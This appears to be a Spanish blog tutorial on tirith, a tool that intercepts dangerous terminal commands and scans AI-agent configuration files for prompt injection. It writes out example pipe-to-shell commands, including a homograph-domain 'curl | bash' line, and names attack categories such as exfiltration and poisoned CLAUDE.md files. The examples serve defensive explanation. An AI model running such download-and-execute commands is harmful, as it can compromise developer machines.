Tirith intercepta comandos peligrosos en la terminal antes de que se ejecuten.
Tirith intercepta comandos peligrosos en la terminal antes de que se ejecuten.

Introducción

⏱️ Lectura: 11 min

La terminal sigue siendo la pieza más vulnerable del flujo de trabajo de un desarrollador moderno. El navegador web resolvió hace años el problema de los dominios homográficos, los caracteres invisibles y los scripts ocultos: Chrome, Firefox y Safari muestran una advertencia cuando una URL mezcla alfabetos o usa punycode para suplantar un dominio legítimo. La terminal, en cambio, sigue renderizando Unicode, secuencias de escape ANSI y caracteres de ancho cero sin hacer una sola pregunta. Copiar un comando desde una página web, pegarlo y presionar enter es, en 2026, una de las formas más comunes de comprometer una máquina de desarrollo.

📑 En este artículo
  1. Introducción
  2. Qué es tirith
  3. Instalación
    1. macOS
    2. Linux
    3. Windows
    4. Activar el hook en la shell
  4. Uso básico
  5. Integración en proyectos reales
  6. Cuándo usarlo y cuándo no
  7. Alternativas
  8. Conclusión
  9. Referencias

El problema se agrava con los agentes de IA. Herramientas como Claude Code, Cursor, Windsurf o Codex ejecutan comandos shell, instalan paquetes y leen archivos de configuración sin inspeccionar lo que hay dentro. Un archivo CLAUDE.md envenenado con instrucciones invisibles, un script descargado con curl | bash desde una URL con caracteres cirílicos, un paquete de npm con un payload en base64: todo eso pasa sin levantar una sola alerta. En este contexto nace tirith, una herramienta open source escrita en Rust que se coloca entre tu shell y el sistema operativo para interceptar cada comando antes de que se ejecute.

Qué es tirith

Tirith es una utilidad de línea de comandos y un servidor MCP (Model Context Protocol) que analiza comandos, contenido pegado y archivos en busca de patrones de ataque conocidos. Su promesa es sencilla: cero fricción cuando la entrada es limpia, bloqueo inmediato cuando detecta algo sospechoso. El proyecto está desarrollado por sheeki03, escrito íntegramente en Rust, distribuido bajo licencia AGPL-3.0 y con más de 2.200 estrellas en GitHub al momento de escribir este artículo.

Por debajo ejecuta más de 80 reglas de detección agrupadas en 15 categorías: ataques homográficos, inyección de terminal, esteganografía, pipe-to-shell, cadenas de base64 decode-execute, exfiltración de datos, escaneo de archivos de código, detección de credenciales, comportamientos post-compromiso, seguridad de archivos de configuración, amenazas del ecosistema (typosquatting de git, registros de Docker no confiables, instalaciones pip/npm desde URL) y más. Todo corre de forma local: los subcomandos check, paste, score, diff y why no hacen ninguna llamada de red.

La integración con la shell es donde brilla. Tras activar el hook, cada comando que escribís y cada bloque que pegás pasa por tirith. Si el comando es limpio, no ves nada: la latencia es sub-milisegundo. Si detecta algo, bloquea o advierte según la severidad, con un mensaje claro que explica qué encontró y cómo saltárselo si estás seguro de lo que hacés (prefijando la orden con TIRITH=0).

Instalación

Tirith se distribuye en prácticamente todos los gestores de paquetes relevantes. Elegí el que corresponda a tu sistema operativo y tu flujo habitual.

macOS

La vía recomendada es Homebrew mediante el tap oficial del autor:

brew install sheeki03/tap/tirith

Si ya tenés Cargo instalado porque trabajás con Rust, también podés compilarlo desde crates.io:

cargo install tirith

Linux

En Debian o Ubuntu, descargá el .deb correspondiente desde los releases de GitHub y luego instalalo con dpkg:

sudo dpkg -i tirith_*_amd64.deb

En Fedora, RHEL o CentOS 9+ el proceso es análogo con el archivo .rpm:

sudo dnf install ./tirith-*.rpm

En Arch Linux hay un paquete en el AUR; con yay o paru basta una línea:

yay -S tirith

Para usuarios de Nix, incluso sin instalar podés probarlo directamente:

nix profile install github:sheeki03/tirith
nix run github:sheeki03/tirith -- --version

Windows

En Windows funcionan todas las features centrales (detección, escaneo, webhooks, gestión de políticas) y los hooks de shell están soportados en PowerShell. La vía más limpia es Scoop:

scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

También hay un paquete en Chocolatey pendiente de moderación en el canal oficial:

choco install tirith

Si preferís una vía universal independiente del sistema, tirith está disponible en npm y Docker:

npm install -g tirith
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Activar el hook en la shell

La instalación coloca el binario, pero el hook que intercepta los comandos debe activarse manualmente en tu perfil de shell. Agregá la línea que corresponda a tu shell favorita:

# zsh — agregar en ~/.zshrc
eval "$(tirith init --shell zsh)"

# bash — agregar en ~/.bashrc
eval "$(tirith init --shell bash)"

# fish — agregar en ~/.config/fish/config.fish
tirith init --shell fish | source

En PowerShell, tirith utiliza PSReadLine y requiere la versión 7.0 o superior. Una vez activado el hook, abrí una nueva terminal y el sistema ya está vigilando.

Uso básico

La forma más rápida de entender qué hace tirith es ejecutarlo contra un comando conocido sin correrlo realmente. El subcomando check analiza un comando y devuelve el veredicto sin tocar el sistema:

tirith check -- "curl -sSL https://get.docker.com | sh"

Esto imprime una advertencia de severidad media porque detecta el patrón pipe-to-interpreter, pero no lo bloquea: la URL apunta a un dominio legítimo y el riesgo es aceptado por muchos desarrolladores. El patrón es una advertencia, no un ataque.

Compará eso con el caso clásico del dominio homográfico. Si pegás la versión con una і cirílica (U+0456) que visualmente parece una i latina:

tirith check -- "curl -sSL https://іnstall.example-clі.dev | bash"

Tirith bloquea el comando con un mensaje crítico indicando non_ascii_hostname y explica que se trata de un ataque homográfico. El comando nunca llega al shell. Si por alguna razón sabés que querés ejecutarlo igual (por ejemplo, porque es un dominio internacionalizado legítimo), podés prefijarlo con TIRITH=0 para saltarte la verificación solo en esa línea.

Otra utilidad frecuente es tirith scan, que recorre archivos o directorios buscando payloads ofuscados, ejecución de código dinámico y patrones de exfiltración en archivos JavaScript y Python. Es particularmente útil antes de ejecutar un script que descargaste o que recibiste por correo:

tirith scan ./scripts/

Si querés saber exactamente qué hace una regla antes de configurarla, usá tirith explain:

tirith explain --rule pipe_to_interpreter
tirith explain --list --category terminal

Integración en proyectos reales

Donde tirith demuestra su valor no es en el uso manual sino en la integración continua y en los flujos con agentes de IA. Vamos a tres escenarios comunes.

1. Agentes de IA con MCP. Si usás Claude Code, Cursor, Gemini CLI o Windsurf, podés registrar tirith como servidor MCP con un solo comando:

tirith setup claude-code --with-mcp
tirith setup cursor
tirith setup gemini-cli --with-mcp

Esto expone siete herramientas al agente: tirith_check_command, tirith_check_url, tirith_check_paste, tirith_scan_file, tirith_scan_directory, tirith_verify_mcp_config y tirith_fetch_cloaking. El agente puede (y debería) consultarlas antes de ejecutar cualquier comando, abrir cualquier URL o leer cualquier archivo. Aunque el agente decida ignorar la herramienta, los hooks de shell siguen activos: cuando el agente invoque bash, tirith inspecciona el comando igualmente.

2. CI/CD con GitHub Actions. Hay una acción oficial que escanea el repositorio y sube los resultados al tab de seguridad de GitHub en formato SARIF:

- uses: sheeki03/tirith@v1
  with:
    fail_on: high
    sarif: true

Combinado con el hook de pre-commit que incluye el repo (.pre-commit-hooks.yaml), atrapás los problemas antes del push y los documentás como parte del pipeline.

3. Reemplazo seguro de curl | bash. El subcomando tirith run está diseñado para ser un reemplazo directo del patrón descarga-y-ejecuta. Descarga el script, lo analiza, te muestra las secciones sospechosas y recién ahí te pide confirmación para ejecutarlo:

tirith run https://get.docker.com

Queda registro en el sistema de receipts, que podés consultar con tirith receipt last o tirith receipt list. Si la operación modifica archivos del sistema, podés crear un checkpoint previo con tirith checkpoint create y revertir con tirith checkpoint restore si algo salió mal.

Tirith escanea archivos de configuración de agentes de IA en busca de inyecciones de prompt y Unicode invisible.
Tirith escanea archivos de configuración de agentes de IA en busca de inyecciones de prompt y Unicode invisible.

Cuándo usarlo y cuándo no

Tirith es una herramienta valiosa pero no es mágica. Hay que entender qué resuelve y qué no para decidir si encaja en tu flujo.

Cuándo tiene sentido adoptarlo. Si ejecutás agentes de IA con acceso a shell, si trabajás con frecuencia copiando comandos desde páginas web o documentación, si instalás paquetes con curl | bash, si administrás máquinas con acceso a secretos (claves de AWS, tokens de GitHub, llaves SSH) o si simplemente querés una capa extra de defensa contra supply chain attacks, tirith aporta mucho con un costo de fricción casi nulo. La latencia sub-milisegundo y el principio de offline by default lo hacen viable incluso en entornos con políticas estrictas de red.

Cuándo probablemente no lo necesitás. Si tu terminal se limita a ejecutar comandos locales que vos mismo escribiste, sin pegar desde la web, sin agentes de IA y sin instalaciones automatizadas, el valor marginal es bajo. Tampoco sustituye a un antivirus, un EDR, un firewall de host ni una auditoría completa de dependencias: se enfoca en lo que pasa en la boca de la terminal y en archivos estrechamente relacionados con flujos de desarrollo. Si esperás que escanee todo tu disco en busca de malware genérico, te vas a frustrar.

Limitaciones conocidas. En Windows, el modo daemon y el subcomando tirith setup todavía son Unix-only al momento de escribir este artículo (versión 0.2.12). Los falsos positivos existen, especialmente en scripts de infraestructura complejos que usan base64 legítimamente: tirith provee el flag TIRITH=0 y el sistema de políticas (tirith policy init) precisamente para calibrar el ruido sin desactivar la protección por completo. Y, como cualquier sistema basado en reglas, puede ser evadido por un atacante que conozca los patrones; no es la última línea de defensa, es una capa más dentro de un modelo de seguridad en profundidad.

Alternativas

Aunque tirith es relativamente joven, existen herramientas que abordan partes del mismo problema desde ángulos diferentes. Vale la pena conocerlas para elegir la combinación adecuada según el caso de uso.

  • Gitleaksscanner especializado en buscar credenciales y secretos en repositorios de git, commits, logs y archivos. Tiene intersección con la detección de credenciales de tirith, pero no interviene en la ejecución de comandos ni en el contenido pegado. Complementa, no reemplaza.
  • Trufflehog — similar a Gitleaks, con énfasis en verificar credenciales detectadas contra el servicio emisor para determinar si aún están activas. Útil en auditorías post-hoc de repositorios y filesystems grandes, pero tampoco cubre la shell en tiempo real.
  • Semgrep — motor de análisis estático con reglas configurables para múltiples lenguajes. Puede detectar patrones similares a los que tirith identifica en archivos de código (ejecución dinámica, exfiltración), pero su foco está en el código de aplicación y no en los comandos de shell ni en los archivos de configuración de agentes de IA.

La diferencia clave es que tirith opera en el punto exacto donde el ataque se materializa: el shell en sí mismo y los agentes que lo invocan. Los otros tres funcionan mejor como capas previas, durante commits o auditorías. Una configuración razonable combina Gitleaks en el pre-commit, Semgrep en el pipeline de CI y tirith en la shell interactiva y los agentes de IA.

Conclusión

Tirith propone algo simple y necesario: traer a la terminal el mismo nivel de defensa que los navegadores tienen desde hace una década. No reescribe tus comandos, no envía telemetría, no mantiene procesos en segundo plano por defecto y todas sus detecciones centrales funcionan sin red. En Rust, con latencia sub-milisegundo, licencia AGPL-3.0 y una cobertura que va desde ataques homográficos en URLs hasta envenenamiento de archivos CLAUDE.md. Para cualquier equipo que trabaje con agentes de IA o que dependa de instalaciones automatizadas, el costo de no adoptar algo así se vuelve cada vez más difícil de justificar.

Podés explorar el código, los issues y los releases en el Repositorio oficial en GitHub. La documentación oficial vive en tirith.sh y ahí encontrás guías de troubleshooting, referencia de reglas y ejemplos de políticas.

Referencias

📱 ¿Te gusta este contenido? Únete a nuestro canal de Telegram @programacion donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.

Categorías: SeguridadTutoriales

0 Comentarios

Deja un comentario

Marcador de posición del avatar

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.